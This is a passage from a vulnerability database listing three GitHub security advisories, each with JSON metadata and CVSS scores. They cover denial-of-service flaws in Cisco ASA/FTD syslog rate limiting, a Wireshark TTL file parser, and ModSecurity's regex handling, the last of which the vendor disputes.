"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FCPC-64J2-96JC
Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-16 21:32A vulnerability in the system rate-limiting process for syslog message 419002 of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause high CPU utilization on an affected device, resulting in a denial of service (DoS) condition.
This vulnerability is due to improper rate limiting for syslog message 419002. An attacker could exploit this vulnerability by sending a flood of TCP synchronization (SYN) packets to an affected device. A successful exploit could allow the attacker to cause high CPU utilization, resulting in performance degradation.
{
"affected": [],
"aliases": [
"CVE-2026-20154"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-16T21:17:07Z",
"severity": "HIGH"
},
"details": "A vulnerability in the system rate-limiting process for syslog message 419002 of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause high CPU utilization on an affected device, resulting in a denial of service (DoS) condition.\n\nThis vulnerability is due to improper rate limiting for syslog message 419002. An attacker could exploit this vulnerability by sending a flood of TCP synchronization (SYN) packets to an affected device. A successful exploit could allow the attacker to cause high CPU utilization, resulting in performance degradation.\u0026nbsp;",
"id": "GHSA-fcpc-64j2-96jc",
"modified": "2026-09-16T21:32:49Z",
"published": "2026-09-16T21:32:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20154"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-logging-dos-ZXXNesfN"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FF2C-72FW-M35J
Vulnerability from github – Published: 2026-09-29 12:31 – Updated: 2026-09-29 12:31TTL file parser infinite loop in 4.6.0 to 4.6.8 allows denial of service
{
"affected": [],
"aliases": [
"CVE-2026-95386"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-29T10:17:14Z",
"severity": "MODERATE"
},
"details": "TTL file parser infinite loop in 4.6.0 to 4.6.8 allows denial of service",
"id": "GHSA-ff2c-72fw-m35j",
"modified": "2026-09-29T12:31:30Z",
"published": "2026-09-29T12:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95386"
},
{
"type": "WEB",
"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21501"
},
{
"type": "WEB",
"url": "https://www.wireshark.org/security/wnpa-sec-2026-94.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FF2C-WGR6-2P58
Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2024-03-21 03:33** DISPUTED ** Trustwave ModSecurity 3.x through 3.0.4 allows denial of service via a special request. NOTE: The discoverer reports "Trustwave has signaled they are disputing our claims." The CVE suggests that there is a security issue with how ModSecurity handles regular expressions that can result in a Denial of Service condition. The vendor does not consider this as a security issue because1) there is no default configuration issue here. An attacker would need to know that a rule using a potentially problematic regular expression was in place, 2) the attacker would need to know the basic nature of the regular expression itself to exploit any resource issues. It's well known that regular expression usage can be taxing on system resources regardless of the use case. It is up to the administrator to decide on when it is appropriate to trade resources for potential security benefit.
{
"affected": [],
"aliases": [
"CVE-2020-15598"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-10-06T14:15:00Z",
"severity": "HIGH"
},
"details": "** DISPUTED ** Trustwave ModSecurity 3.x through 3.0.4 allows denial of service via a special request. NOTE: The discoverer reports \"Trustwave has signaled they are disputing our claims.\" The CVE suggests that there is a security issue with how ModSecurity handles regular expressions that can result in a Denial of Service condition. The vendor does not consider this as a security issue because1) there is no default configuration issue here. An attacker would need to know that a rule using a potentially problematic regular expression was in place, 2) the attacker would need to know the basic nature of the regular expression itself to exploit any resource issues. It\u0027s well known that regular expression usage can be taxing on system resources regardless of the use case. It is up to the administrator to decide on when it is appropriate to trade resources for potential security benefit.",
"id": "GHSA-ff2c-wgr6-2p58",
"modified": "2024-03-21T03:33:55Z",
"published": "2022-05-24T17:30:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15598"
},
{
"type": "WEB",
"url": "https://coreruleset.org/20200914/cve-2020-15598"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2020/dsa-4765"
},
{
"type": "WEB",
"url": "https://www.modsecurity.org"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/159185/ModSecurity-3.0.x-Denial-Of-Service.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2020/Sep/32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.